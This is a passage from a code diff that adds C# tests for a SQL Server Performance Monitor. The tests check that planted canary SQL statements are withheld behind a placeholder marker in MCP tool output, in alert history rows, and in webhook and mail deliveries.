+    public async Task GetDeadlockDetail_OnAFourMegabyteGraph_StaysPreciseInsideTheCeiling()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live blocking-read filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        using var host = await StatementFilterCensus.BuildHostAsync();
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var t = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow.AddMinutes(-9));
+            string graph = DeadlockGraph(14_000);
+            Assert.InRange(graph.Length, 4_000_000, 5_500_000);
+            await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, database_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+                CollectionIdGenerator.Next(), t.AddSeconds(5), ServerId, ServerName, Db, t, "process1a", StatementScrubCanary.CanaryStatement, graph);
+
+            var read = Stopwatch.StartNew();
+            string raw = await DarlingMcpBlockingTools.GetDeadlockDetail(postgres, ServerName, full_graph: true, cancellationToken: ct);
+            read.Stop();
+            var filter = Stopwatch.StartNew();
+            string filtered = await FilteredAsync(host, raw);
+            filter.Stop();
+            string timings = string.Create(CultureInfo.InvariantCulture,
+                $"graph {graph.Length} chars, answer {raw.Length} chars: tool {read.ElapsedMilliseconds} ms, filter {filter.ElapsedMilliseconds} ms");
+
+            Assert.True(filter.Elapsed < TimeSpan.FromSeconds(10), timings);
+            AssertFiltered("4 MB graph", raw, filtered);
+            var graphs = EmbeddedXml(filtered);
+            Assert.Single(graphs);
+            var doc = XDocument.Parse(graphs[0]);
+            Assert.Equal(Marker, doc.Descendants("process").First(p => (string?)p.Attribute("id") == "process1a").Element("inputbuf")!.Value);
+            Assert.Equal(StatementScrubCanary.PlainStatement,
+                doc.Descendants("process").First(p => (string?)p.Attribute("id") == "process2b").Element("inputbuf")!.Value);
+            Assert.True(doc.Descendants("process").Count() >= 14_000, timings);
+
+            if (Environment.GetEnvironmentVariable("SSF_L6_TIMINGS") == "1")
+                Assert.Fail(timings);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var table in new[]
+        {
+            "blocked_process_reports", "deadlocks", "long_query_completions", "default_trace_events", "system_health_events", "servers",
+        })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, $"DELETE FROM {table} WHERE server_id = $1", ServerId);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StatementFilterCensus.cs b/Darling/Darling.Tests/StatementFilterCensus.cs
new file mode 100644
index 0000000000..5598524744
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterCensus.cs
@@ -0,0 +1,257 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Linq;
+using System.Net;
+using System.Net.Http;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading.Tasks;
+using System.Xml.Linq;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using ModelContextProtocol;
+using ModelContextProtocol.Protocol;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348: the read-time census harness. A read's census plants <see cref="StatementScrubCanary"/> values in the
+/// read's source rows, runs the read RAW (the tool method alone, which must still HOLD the canary: the control that
+/// proves the plant reached the output) and FILTERED (the same text sent through the host's REAL registered
+/// call-tool filter list, with or without <c>DARLING_OUTPUT_FORMAT=gcf</c>), and then asserts what the filtered
+/// text may hold. The harness is read-only for its users: a per-read test calls <see cref="FilterThroughHostAsync"/>
+/// (or <see cref="CallRealToolAsync"/> for a tool that needs no store) and the <c>Assert*</c> helpers, and builds
+/// no host of its own.
+///
+/// <para>The host is the real <c>DarlingMcpHostService.ConfigureMcpServices</c> plus <c>ConfigurePipeline</c>
+/// pair behind an in-memory server, with one test-only tool (<see cref="ProbeTools"/>) added after it. The probe
+/// answers whatever text a test registered under a key, so the text a real read produced reaches the registered
+/// filters exactly as a tool's return value does. Tests that call it and change the environment variable belong to
+/// the <c>DarlingOutputFormatEnv</c> collection.</para>
+/// </summary>
+internal static class StatementFilterCensus
+{
+    /// <summary>The statement filter's marker, the only thing a withheld value may be replaced by.</summary>
+    public const string Marker = SensitiveStatements.PlaceholderText;
+
+    private const string ProbeName = "ssf_census_probe";
+
+    private static readonly ConcurrentDictionary<string, (string Text, bool IsError)> s_payloads = new();
+
+    /// <summary>The one test-only tool, registered ONLY on a census host (never in production's
+    /// <c>ConfigureMcpServices</c>). It answers the payload registered under <c>key</c>, as a text block, the way a
+    /// tool that returned that string would, error flag included.</summary>
+    [McpServerToolType]
+    public sealed class ProbeTools
+    {
+        [McpServerTool(Name = ProbeName), Description("Test-only: answers the text a census test registered.")]
+        public static CallToolResult Probe([Description("The payload key.")] string key)
+        {
+            var (text, isError) = s_payloads[key];
+            return new CallToolResult
+            {
+                Content = new List<ContentBlock> { new TextContentBlock { Text = text } },
+                IsError = isError ? true : null,
+            };
+        }
+    }
+
+    /// <summary>Test-only: a tool that THROWS an <c>McpException</c> carrying <c>message</c>, the way a tool that
+    /// reports a failure through the SDK's exception does. Its text reaches the client through the SDK's own error
+    /// result, so a filter has to see the exception to sweep it.</summary>
+    [McpServerToolType]
+    public sealed class ThrowProbeTools
+    {
+        [McpServerTool(Name = ThrowProbeName), Description("Test-only: throws an McpException with the given message.")]
+        public static CallToolResult Throw([Description("The exception message.")] string message) =>
+            throw new McpException(message);
+    }
+
+    public const string ThrowProbeName = "ssf_census_throw";
+
+    /// <summary>A real host: the production tool and filter registration plus the probe tool, behind an in-memory
+    /// server. Dispose it with the test.
+    /// <para><paramref name="gcf"/> pins the host's GCF format (#5320): <c>false</c> (the default) is plain output and
+    /// <c>true</c> is GCF on. Neither reads <c>DARLING_OUTPUT_FORMAT</c>, so a class in the <c>DarlingOutputFormatEnv</c>
+    /// collection that sets it cannot reach this host. <c>null</c> keeps the production default (the environment variable,
+    /// read on each call), for the test that pins the real wiring.</para></summary>
+    public static async Task<TestServer> BuildHostAsync(bool? gcf = false)
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+
+        var postgres = NpgsqlDataSource.Create("Host=localhost;Database=postgres;Username=darling");
+        builder.Services.AddSingleton(postgres);
+        if (gcf is bool pinned)
+        {
+            builder.Services.AddSingleton<IGcfOutputFormat>(new FixedGcfOutputFormat(pinned));
+        }
+
+        var sharedBaselines = new BaselineCache();
+        builder.Services.AddTransient<DarlingAnalysisService>(_ => new DarlingAnalysisService(
+            postgres, planFetcher: null, logger: Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance,
+            baselineCache: sharedBaselines));
+        builder.Services.AddSingleton<Microsoft.Extensions.Logging.ILogger>(
+            Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance);
+
+        DarlingMcpHostService.ConfigureMcpServices(
+            builder.Services, DarlingPeerDirectory.Snapshot.Empty, new ReadLatencyAccumulator(),
+            Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, null);
+
+        // Chains onto the SAME builder ConfigureMcpServices created, so every real tool and every real filter stays.
+        builder.Services.AddMcpServer().WithTools<ProbeTools>().WithTools<ThrowProbeTools>();
+
+        var app = builder.Build();
+        var host = new DarlingMcpHostService(
+            Microsoft.Extensions.Logging.Abstractions.NullLogger<DarlingMcpHostService>.Instance,
+            new McpRuntimeState(),
+            new MonitoredServerRegistryState());
+        host.ConfigurePipeline(
+            app, networkMode: false, networkListenIp: null,
+            allowedCidr: IPNetwork.Parse("127.0.0.1/32"), bearerToken: "ssf-census-token");
+
+        await app.StartAsync();
+        return app.GetTestServer();
+    }
+
+    /// <summary>Sends <paramref name="rawToolText"/> through the host's registered filters as a tool's result and
+    /// returns what a client would receive.</summary>
+    public static async Task<(string Text, bool IsError)> FilterThroughHostAsync(
+        TestServer server, string rawToolText, bool isError = false, string path = "/")
+    {
+        string key = Guid.NewGuid().ToString("N");
+        s_payloads[key] = (rawToolText, isError);
+        try
+        {
+            return await CallRealToolAsync(server, ProbeName, new JsonObject { ["key"] = key }, path);
+        }
+        finally
+        {
+            s_payloads.TryRemove(key, out _);
+        }
+    }
+
+    /// <summary>A <c>tools/call</c> for a real tool, through the host's registered filters. Returns the first text
+    /// block and the error flag; throws when the server answered a protocol error, so a test fails loudly instead of
+    /// reading an empty answer as a clean one.</summary>
+    public static async Task<(string Text, bool IsError)> CallRealToolAsync(
+        TestServer server, string toolName, JsonObject arguments, string path = "/")
+    {
+        string body = new JsonObject
+        {
+            ["jsonrpc"] = "2.0",
+            ["id"] = 1,
+            ["method"] = "tools/call",
+            ["params"] = new JsonObject { ["name"] = toolName, ["arguments"] = arguments },
+        }.ToJsonString();
+
+        JsonElement root = (await RpcAsync(server, path, body)).RootElement;
+        if (root.TryGetProperty("error", out var error))
+        {
+            throw new InvalidOperationException("The server answered a protocol error: " + error.GetRawText());
+        }
+
+        var result = root.GetProperty("result");
+        bool isError = result.TryGetProperty("isError", out var flag) && flag.ValueKind == JsonValueKind.True;
+        string text = result.GetProperty("content")[0].GetProperty("text").GetString() ?? "";
+        return (text, isError);
+    }
+
+    /// <summary>The names <c>tools/list</c> advertises on <paramref name="path"/>.</summary>
+    public static async Task<IReadOnlyList<string>> ListToolNamesAsync(TestServer server, string path = "/")
+    {
+        using var doc = await RpcAsync(server, path, "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\"}");
+        return doc.RootElement.GetProperty("result").GetProperty("tools").EnumerateArray()
+            .Select(t => t.GetProperty("name").GetString()!).ToList();
+    }
+
+    private static async Task<JsonDocument> RpcAsync(TestServer server, string path, string requestBody)
+    {
+        var ctx = await server.SendAsync(c =>
+        {
+            c.Request.Method = "POST";
+            c.Request.Path = path;
+            c.Request.Headers.Host = "localhost";
+            c.Request.Headers.Accept = "application/json, text/event-stream";
+            c.Request.ContentType = "application/json";
+            var bytes = Encoding.UTF8.GetBytes(requestBody);
+            c.Request.Body = new System.IO.MemoryStream(bytes);
+            c.Request.ContentLength = bytes.Length;
+            c.Connection.RemoteIpAddress = IPAddress.Loopback;
+        });
+
+        using var reader = new System.IO.StreamReader(ctx.Response.Body);
+        string raw = await reader.ReadToEndAsync();
+        Assert.Equal(200, ctx.Response.StatusCode);
+
+        // A stateless answer is one SSE event ("data: {json}") or a bare JSON body, depending on the Accept match.
+        string json = raw.TrimStart().StartsWith('{')
+            ? raw
+            : string.Join("\n", raw.Split('\n').Where(l => l.StartsWith("data:", StringComparison.Ordinal))
+                .Select(l => l.Substring(5).Trim()));
+        return JsonDocument.Parse(json);
+    }
+
+    // ── the census assertions ──
+
+    /// <summary>The control: the RAW read holds the canary, so a filtered answer that does not proves the filter and
+    /// not an empty plant.</summary>
+    public static void AssertRawHoldsTheCanary(string raw)
+    {
+        Assert.Contains("S3cret-canary-ssf", raw);
+    }
+
+    /// <summary>The FILTERED answer of a read: no secret needle, the marker present, and every kept needle the raw
+    /// text held still there, unchanged.</summary>
+    public static void AssertFilteredWithholdsTheCanary(string raw, string filtered)
+    {
+        foreach (string needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, filtered);
+        }
+
+        Assert.Contains(Marker, filtered);
+        foreach (string kept in StatementScrubCanary.KeptNeedles.Where(k => raw.Contains(k, StringComparison.Ordinal)))
+        {
+            Assert.Contains(kept, filtered);
+        }
+    }
+
+    /// <summary>The filtered text of a plan read in XML form: it still parses, statement 1 is the marker, and
+    /// statements 2 and 3 keep their text, operators and parameters.</summary>
+    public static void AssertPlanFilteredKeepsTheRest(string rawPlan, string filteredPlan)
+    {
+        AssertFilteredWithholdsTheCanary(rawPlan, filteredPlan);
+        var statements = XDocument.Parse(filteredPlan).Descendants().Where(e => e.Name.LocalName == "StmtSimple")
+            .Select(e => (string?)e.Attribute("StatementText")).ToList();
+        Assert.Equal(Marker, statements[0]);
+        Assert.Equal(StatementScrubCanary.PlainStatement, statements[1]);
+        Assert.Equal(StatementScrubCanary.AutoParamStatement, statements[2]);
+        Assert.Contains(
+            XDocument.Parse(filteredPlan).Descendants(),
+            e => (string?)e.Attribute("ParameterCompiledValue") == "N'param-canary-ssf'");
+    }
+}
diff --git a/Darling/Darling.Tests/StatementFilterDeliveryTests.cs b/Darling/Darling.Tests/StatementFilterDeliveryTests.cs
new file mode 100644
index 0000000000..667bead9c7
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterDeliveryTests.cs
@@ -0,0 +1,434 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320 (part of #4348), the delivery choke point: <c>DarlingAlertDeliverer.DeliverAndReportAsync</c> runs the statement
+/// filter, so the eight callers that hand an outcome straight to it (the PostgreSQL families in <c>DarlingWorker</c>, a
+/// self alert, a custom alert rule) are filtered like an engine alert. These run the REAL deliverer over a recording
+/// history store, so what is asserted is what an operator would be sent and what the history row stores.
+/// </summary>
+public sealed class StatementFilterDeliveryTests
+{
+    private const string Marker = SensitiveStatements.PlaceholderText;
+
+    private const string DefinitionJson =
+        "{\"metric\":{\"source\":\"wait_stats\",\"measure\":\"wait_time_ms\",\"aggregate\":\"sum\",\"hours\":1}," +
+        "\"predicate\":{\"op\":\"ge\",\"warnThreshold\":1000}}";
+
+    private static (DarlingAlertDeliverer Deliverer, RecordingHistoryStore History) Build(DarlingConfig? config = null)
+    {
+        var settings = new DarlingAlertSettings(config ?? new DarlingConfig());
+        var history = new RecordingHistoryStore();
+        var webhooks = new WebhookAlertService(
+            settings, DarlingAlertDeliverer.Branding, NullLogger<WebhookAlertService>.Instance, history);
+        return (new DarlingAlertDeliverer(settings, history, webhooks, NullLogger.Instance), history);
+    }
+
+    private static string RowText(AlertHistoryRecord record) =>
+        string.Join("\n", new[] { record.CurrentValueText, record.ThresholdValueText, record.DetailText, record.ContextJson }
+            .Where(p => p is not null));
+
+    private static void AssertNoSecret(string text)
+    {
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, text, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>The shape a PostgreSQL long-running-query family builds: one detail item with the query text.</summary>
+    private static AlertOutcome PgFamilyOutcome(string queryText)
+    {
+        var context = new AlertContext();
+        var item = new AlertDetailItem { Heading = "Long-running query" };
+        item.Fields.Add(("Database", "stackoverflow"));
+        item.Fields.Add(("Query", queryText));
+        context.Details.Add(item);
+        return new AlertOutcome(
+            "pg1", "pg-server", "PG Long-Running Query", "45", "30", context,
+            AlertContextBuilders.ContextToDetailText(context), 45, 30, false, null,
+            ShortMessage: "Session 71 running 45m - " + queryText);
+    }
+
+    private static LongRunningQueryInfo LongRunning(string queryText) => new()
+    {
+        SessionId = 71,
+        DatabaseName = "StackOverflow",
+        QueryText = queryText,
+        ElapsedSeconds = 45 * 60,
+        CpuTimeMs = 1000,
+        QueryHash = "0x9AAF0129E4E9AD07",
+    };
+
+    [Fact]
+    public async Task APostgreSqlFamilyAlert_HandedStraightToTheDeliverer_IsDeliveredWithTheStatementWithheld()
+    {
+        var (deliverer, history) = Build();
+
+        await deliverer.DeliverAndReportAsync(PgFamilyOutcome(StatementScrubCanary.CanaryStatement), TestContext.Current.CancellationToken);
+
+        var row = Assert.Single(history.Records);
+        var text = RowText(row);
+        AssertNoSecret(text);
+        Assert.Contains(Marker, text, StringComparison.Ordinal);
+        Assert.Contains("stackoverflow", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ASelfAlert_WhoseProseNamesAStatement_IsDeliveredWithTheMarker()
+    {
+        var (deliverer, history) = Build();
+        var outcome = new AlertOutcome(
+            "1", "srv", "Collection Failing", "3", "1", Context: null,
+            DetailText: "Collector failed on: " + StatementScrubCanary.CanaryStatement,
+            NumericCurrentValue: 3, NumericThresholdValue: 1, Muted: false, Severity: null,
+            ShortMessage: "Collector failed on: " + StatementScrubCanary.CanaryStatement);
+
+        await deliverer.DeliverAndReportAsync(outcome, TestContext.Current.CancellationToken);
+
+        var text = RowText(Assert.Single(history.Records));
+        AssertNoSecret(text);
+        Assert.Contains(Marker, text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ACustomRuleAlert_WhoseNameAndDescriptionNameAStatement_IsDeliveredWithTheMarker()
+    {
+        var (definition, error) = CustomAlertRuleDefinition.TryParse(DefinitionJson);
+        Assert.Null(error);
+        var rule = new CustomAlertRule(
+            7, StatementScrubCanary.CanaryStatement, DefinitionJson, StatementScrubCanary.CanaryStatement,
+            Enabled: true, Version: 1, CreatedAt: DateTime.UtcNow, UpdatedAt: DateTime.UtcNow, UpdatedBy: null);
+        var outcome = CustomAlertEvaluator.BuildFireOutcome(
+            rule, definition!, serverKey: "7", serverDisplayName: "srv", value: 1500,
+            severity: AlertSeverityLevel.Warning, muted: false);
+        Assert.Contains("S3cret-canary-ssf", outcome.DetailText!, StringComparison.Ordinal);
+        var (deliverer, history) = Build();
+
+        await deliverer.DeliverAndReportAsync(outcome, TestContext.Current.CancellationToken);
+
+        var row = Assert.Single(history.Records);
+        AssertNoSecret(RowText(row));
+        Assert.Contains(Marker, row.DetailText!, StringComparison.Ordinal);
+        var filtered = AlertStatementFilter.Apply(outcome);
+        AssertNoSecret(filtered.DisplayName!);
+    }
+
+    [Fact]
+    public async Task APerEventSplit_OfADirectlyDeliveredAlert_IsFilteredToo()
+    {
+        var config = new DarlingConfig();
+        config.Alerts.DeliveryMode = AlertNotificationMode.PerEvent;
+        var (deliverer, history) = Build(config);
+        var context = new AlertContext();
+        AlertIncidentRenderer.Apply(context, new List<AlertIncident>
+        {
+            new("k1", new[] { "dbo.t" }, DetailFields: new[] { new AlertIncidentField("Victim SQL", StatementScrubCanary.CanaryStatement) }),
+            new("k2", new[] { "dbo.u" }, DetailFields: new[] { new AlertIncidentField("Victim SQL", StatementScrubCanary.CanaryStatement) }),
+        });
+        var outcome = new AlertOutcome(
+            "pg1", "pg-server", "PG Blocking Detected", "2", "1", context, "detail", 2, 1, false, null);
+
+        await deliverer.DeliverAndReportAsync(outcome, TestContext.Current.CancellationToken);
+
+        Assert.Equal(2, history.Records.Count);
+        Assert.All(history.Records, r => AssertNoSecret(RowText(r)));
+    }
+
+    [Fact]
+    public async Task AnOutcomeTheEngineAlreadyFiltered_IsNotJudgedASecondTime()
+    {
+        /* The marker is the whole contract: a marked outcome is trusted as it is, so text planted in one passes
+           through, and the same text in an unmarked outcome does not. That is what "judged once" means here. */
+        var (deliverer, history) = Build();
+        var planted = PgFamilyOutcome(StatementScrubCanary.CanaryStatement);
+        var unmarked = PgFamilyOutcome(StatementScrubCanary.CanaryStatement);
+
+        await deliverer.DeliverAndReportAsync(AlertStatementFilter.MarkJudged(planted), TestContext.Current.CancellationToken);
+        await deliverer.DeliverAndReportAsync(unmarked, TestContext.Current.CancellationToken);
+
+        Assert.Contains("S3cret-canary-ssf", RowText(history.Records[0]), StringComparison.Ordinal);
+        AssertNoSecret(RowText(history.Records[1]));
+    }
+
+    [Fact]
+    public async Task AWithCopyThatAddsNewText_OfAJudgedOutcome_IsJudgedAgain()
+    {
+        /* M2 (#5360): the mark lives in the filter's own table, keyed by instance, so a `with` copy of a judged
+           outcome is a new instance and its new text is judged. At the base the mark was a record parameter that a
+           `with` copy kept, so this text reached the deliverer unjudged. */
+        var judged = AlertStatementFilter.MarkJudged(AlertStatementFilter.Apply(PgFamilyOutcome(StatementScrubCanary.PlainStatement)));
+        var edited = judged with { DetailText = "Query: " + StatementScrubCanary.CanaryStatement, ShortMessage = StatementScrubCanary.CanaryStatement };
+
+        Assert.NotSame(edited, AlertStatementFilter.Apply(edited));
+        Assert.DoesNotContain("S3cret-canary-ssf", StatementFilterAlertTests.Everything(AlertStatementFilter.Apply(edited)), StringComparison.Ordinal);
+
+        var (deliverer, history) = Build();
+        await deliverer.DeliverAndReportAsync(edited, TestContext.Current.CancellationToken);
+        AssertNoSecret(RowText(Assert.Single(history.Records)));
+    }
+
+    [Fact]
+    public void AnOutcomeACallerBuilt_IsJudged_AndTheFilterHasNoPublicWayToMarkOne()
+    {
+        var built = PgFamilyOutcome(StatementScrubCanary.CanaryStatement);
+
+        Assert.NotSame(built, AlertStatementFilter.Apply(built));
+        Assert.DoesNotContain("S3cret-canary-ssf", StatementFilterAlertTests.Everything(AlertStatementFilter.Apply(built)), StringComparison.Ordinal);
+
+        /* No public parameter, property or method can say "already filtered" (M2, #5360). */
+        Assert.Null(typeof(AlertOutcome).GetProperty("StatementFiltered"));
+        Assert.Null(typeof(AlertStatementFilter).GetMethod("MarkJudged", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static));
+    }
+
+    [Fact]
+    public void Apply_SetsTheMarkerOnTheCopyItReturns_AndNeverJudgesAMarkedOutcomeAgain()
+    {
+        var named = PgFamilyOutcome(StatementScrubCanary.CanaryStatement);
+
+        var filtered = AlertStatementFilter.Apply(named);
+
+        Assert.NotSame(named, filtered);
+        Assert.Same(filtered, AlertStatementFilter.Apply(filtered));
+        Assert.Same(filtered, AlertStatementFilter.MarkJudged(filtered));
+    }
+
+    [Fact]
+    public void APlainAlert_IsTheSameInstanceThroughTheFilter_AndMarkedOnce()
+    {
+        var plain = PgFamilyOutcome(StatementScrubCanary.PlainStatement);
+
+        Assert.Same(plain, AlertStatementFilter.Apply(plain));
+        var marked = AlertStatementFilter.MarkJudged(plain);
+        Assert.Same(marked, AlertStatementFilter.Apply(marked));
+        Assert.Same(marked, AlertStatementFilter.MarkJudged(marked));
+        Assert.Same(plain.Context, marked.Context);
+    }
+
+    [Fact]
+    public async Task APlainAlertThroughTheEngine_ReachesTheDelivererMarked_WithItsContextUntouched()
+    {
+        var h = new AlertEngineTests.Harness();
+        h.Settings.LongRunningQueryEnabled = true;
+        h.Adapter.LongRunning.Add(LongRunning(StatementScrubCanary.PlainStatement));
+
+        await h.Build().EvaluateServerAsync(AlertEngineTests.Harness.Snapshot());
+
+        var outcome = Assert.Single(h.Deliverer.Outcomes);
+        Assert.Same(outcome, AlertStatementFilter.Apply(outcome));
+        Assert.Contains("canary_plain_ssf", StatementFilterAlertTests.Everything(outcome), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AnEngineAlert_IsFilteredByTheEngineAndMarked_SoTheRealDelivererStoresItFiltered()
+    {
+        var h = new AlertEngineTests.Harness();
+        h.Settings.LongRunningQueryEnabled = true;
+        h.Adapter.LongRunning.Add(LongRunning(StatementScrubCanary.CanaryStatement));
+
+        await h.Build().EvaluateServerAsync(AlertEngineTests.Harness.Snapshot());
+
+        var outcome = Assert.Single(h.Deliverer.Outcomes);
+        Assert.Same(outcome, AlertStatementFilter.Apply(outcome));
+        var (deliverer, history) = Build();
+        await deliverer.DeliverAndReportAsync(outcome, TestContext.Current.CancellationToken);
+        AssertNoSecret(RowText(Assert.Single(history.Records)));
+    }
+
+    private static DarlingPgDeadlockReader.PgDeadlockRow DeadlockRow(string? victimStatement) =>
+        new(
+            OccurredAtUtc: new DateTime(2026, 8, 31, 0, 0, 0, DateTimeKind.Utc),
+            VictimPid: 111,
+            ParticipantCount: 2,
+            DeadlockHash: "hash-1",
+            LockModes: null,
+            Resources: null,
+            VictimStatement: victimStatement,
+            TimesSeen: 1);
+
+    private static DarlingPgBlockingReader.PgBlockingChainRow BlockingRow(string? rootQuery) =>
+        new(
+            CapturedAt: new DateTime(2026, 8, 31, 0, 0, 0, DateTimeKind.Utc),
+            RootBackendId: 424242,
+            RootPid: 200,
+            Databases: new[] { "sales" },
+            RootUsername: "app",
+            RootApplicationName: "webapi",
+            RootState: "active",
+            RootQuery: rootQuery,
+            RootIsIdleInTransaction: false,
+            RootXactDurationMs: 5000,
+            RootQueryDurationMs: 5000,
+            TotalVictims: 3,
+            DirectVictims: 3,
+            MaxDepth: 1,
+            WorstVictimWaitMs: 4000,
+            WorstVictimQuery: "SELECT 2",
+            SamplesAsRoot: 1,
+            QueryTextMayBeTruncated: false,
+            ChainMayBeTruncated: false);
+
+    /// <summary>The outcome the PostgreSQL deadlock and blocking families hand the deliverer: incidents only, no detail text.</summary>
+    private static AlertOutcome PgIncidentOutcome(string metric, params AlertIncident[] incidents) =>
+        new(
+            "pg1", "pg-server", metric, "1", "1",
+            Context: new AlertContext { Incidents = incidents.ToList() },
+            DetailText: null, NumericCurrentValue: 1, NumericThresholdValue: 1, Muted: false, Severity: null,
+            ShortMessage: "1 event in the last hour");
+
+    [Theory]
+    [InlineData(true, false)]
+    [InlineData(true, true)]
+    [InlineData(false, false)]
+    [InlineData(false, true)]
+    public async Task APostgreSqlIncident_ThatNamesAStatementAmongItsObjects_IsDeliveredWithTheStatementWithheld(bool blocking, bool perEvent)
+    {
+        /* The REAL incident builders (the objects hold the root query or the victim statement), the real deliverer
+           over a recording history store, a capturing webhook endpoint and a capturing mail endpoint. */
+        using var endpoint = new CapturingWebhookEndpoint();
+        using var smtp = new CapturingSmtpEndpoint();
+        var config = new DarlingConfig();
+        config.Webhooks.TeamsUrl = endpoint.Url;
+        config.Webhooks.SlackUrl = endpoint.Url;
+        config.Webhooks.GenericUrl = endpoint.Url;
+        config.Smtp.Host = "127.0.0.1";
+        config.Smtp.Port = smtp.Port;
+        config.Smtp.UseSsl = false;
+        config.Smtp.From = "monitor@example.invalid";
+        config.Smtp.To = "operator@example.invalid";
+        if (perEvent)
+        {
+            config.Alerts.DeliveryMode = AlertNotificationMode.PerEvent;
+        }
+
+        var settings = new DarlingAlertSettings(config);
+        var history = new RecordingHistoryStore();
+        var webhooks = new WebhookAlertService(
+            settings, DarlingAlertDeliverer.Branding, NullLogger<WebhookAlertService>.Instance, history);
+        var deliverer = new DarlingAlertDeliverer(settings, history, webhooks, NullLogger.Instance);
+        var incident = blocking
+            ? DarlingWorker.BuildPgBlockingIncident(BlockingRow(StatementScrubCanary.CanaryStatement))
+            : DarlingWorker.BuildPgDeadlockIncident(DeadlockRow(StatementScrubCanary.CanaryStatement));
+        Assert.Contains("S3cret-canary-ssf", string.Join("\n", incident.InvolvedObjects), StringComparison.Ordinal);
+
+        await deliverer.DeliverAndReportAsync(
+            PgIncidentOutcome(blocking ? "PG Blocking Detected" : "PG Deadlocks Detected", incident),
+            TestContext.Current.CancellationToken);
+
+        var row = Assert.Single(history.Records);
+        Assert.NotEmpty(endpoint.Bodies);
+        Assert.NotEmpty(smtp.Messages);
+        AssertNoSecret(RowText(row));
+        foreach (var body in endpoint.Bodies)
+        {
+            AssertNoSecret(body);
+        }
+
+        foreach (var message in smtp.Messages)
+        {
+            AssertNoSecret(message);
+        }
+
+        Assert.Contains(Marker, string.Join("\n", endpoint.Bodies), StringComparison.Ordinal);
+        Assert.Contains(Marker, row.ContextJson!, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AFailureWhileJudging_ForAnAlertWithNoDetailText_StillSaysWhyItHasNoDetail()
+    {
+        /* A null detail item cannot be read, which forces the failure path. The per-event PostgreSQL families pass
+           no detail text, so the reason has to ride the context. */
+        var context = new AlertContext
+        {
+            Incidents = new List<AlertIncident> { DarlingWorker.BuildPgBlockingIncident(BlockingRow(StatementScrubCanary.CanaryStatement)) },
+        };
+        context.Details.Add(null!);
+        var outcome = new AlertOutcome(
+            "pg1", "pg-server", "PG Blocking Detected", "1", "1", context,
+            DetailText: null, NumericCurrentValue: 1, NumericThresholdValue: 1, Muted: false, Severity: null);
+
+        var filtered = AlertStatementFilter.Apply(outcome);
+
+        Assert.Contains(Marker, AlertContextBuilders.ContextToDetailText(filtered.Context)!, StringComparison.Ordinal);
+        AssertNoSecret(StatementFilterAlertTests.Everything(filtered));
+        var incident = Assert.Single(filtered.Context!.Incidents!);
+        Assert.Empty(incident.InvolvedObjects);
+        Assert.Equal("424242", incident.DedupKey);
+    }
+
+    [Fact]
+    public void AFailureWhileJudging_ForAnAlertWithANullIncident_ReturnsTheClearedAlertInsteadOfThrowing()
+    {
+        var failing = PgIncidentOutcome(
